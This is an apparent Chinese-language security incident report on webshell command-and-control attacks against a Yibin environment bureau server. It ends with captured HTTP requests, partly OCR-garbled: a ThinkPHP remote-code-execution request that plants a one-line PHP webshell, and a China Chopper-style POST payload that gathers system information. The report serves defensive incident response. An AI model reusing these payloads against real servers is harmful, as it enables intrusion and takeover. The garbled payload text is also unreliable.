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1 [bookmark: _Toc28677869][bookmark: _Toc32018]基本信息
	资产IP
	10.0.8.20
	隶属
	宜宾市生态环境局

	发现时间
	2020年2月1日
	处理期限
	
	事件类型
	恶意文件

	事件名称
	Webshell命令控制
	事件级别
	□I级 □II级 III级别 □IV级

	危害表象
	□网络中断  □系统瘫痪  数据毁坏  数据泄密  其它危害



2 [bookmark: _Toc28677870]事件综述
[bookmark: _Toc28677871]事件概述
通过AiLPHA大数据平台分析发现，2020年1月20日-2020年2月1日，发现Webshell命令控制攻击共计4条，请求响应码为200。
[image: ]
[bookmark: _Toc28677872]事件定位分析
[bookmark: _GoBack]外部IP：125.64.223.48向宜宾市生态环境局IP：10.0.8.20的8081端口发送Get请求，状态响应码为200。
[image: ]
在请求信息中，我们发现是典型的“一句话木马”注入，并且响应码是200，疑似注入成功。
[image: ]

外部IP：112.60.90.3向宜宾市生态环境局IP：10.0.8.20的8081端口发送POST请求，状态响应码为200。
[image: ]
在请求的body中我们可以看到，这是明显使用“中国菜刀”连接的痕迹，攻击者可能连接之前已经上传的webshell。
[image: ]

3 [bookmark: _Toc28677873]建议与措施
1、检查IP对应的主机中是否存在来历不明的文件。
2、一旦发现被入侵，查看服务器是否有来历不明的文件，如无法判断需删除所有可访问文件，并重新上传。
3、对于来自外部的攻击行为，务必配置好服务器权限。最小的权限=最大的安全。防范webshell的最有效方法就是：可写目录不给执行权限，有执行权限的目录不给写权限
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paLaf:ukild
125.64.218.67:8081/public/index.ph?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo A<?php $action = $_GET['xcmd'];system
($action);?A>>hydra.php v

iERk

Connection: Keep-Alive

Accept: */*

Accept-Language: zh-cn

Referer: http://125.64.218.67:8081/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ~>hydra.php
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 125.64.218.67:8081
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paLaf:ukild
125.64.218.67:8081/public/spread.php v

iERk

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
Content-Length: 988

Host: 125.64.218.67:8081

i&kBody

spread=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput({$output=ob_get_contents();ob_end_clean();echo "SB360";echo @asen
c($output);echo "SB360";}ob_start();try{$D=dirname($_SERVER['SCRIPT_FILENAME"]);if($D=="")$D=dirame($_SERVER["PATH_TRANSLATED"]);$R="{$D}|";if(substr($D,0,1)!="/"){fo
reach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid():"";$s=($u)?$u["name"]:@get_c
urrent_user();$R.=php_uname();$R.="|{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();





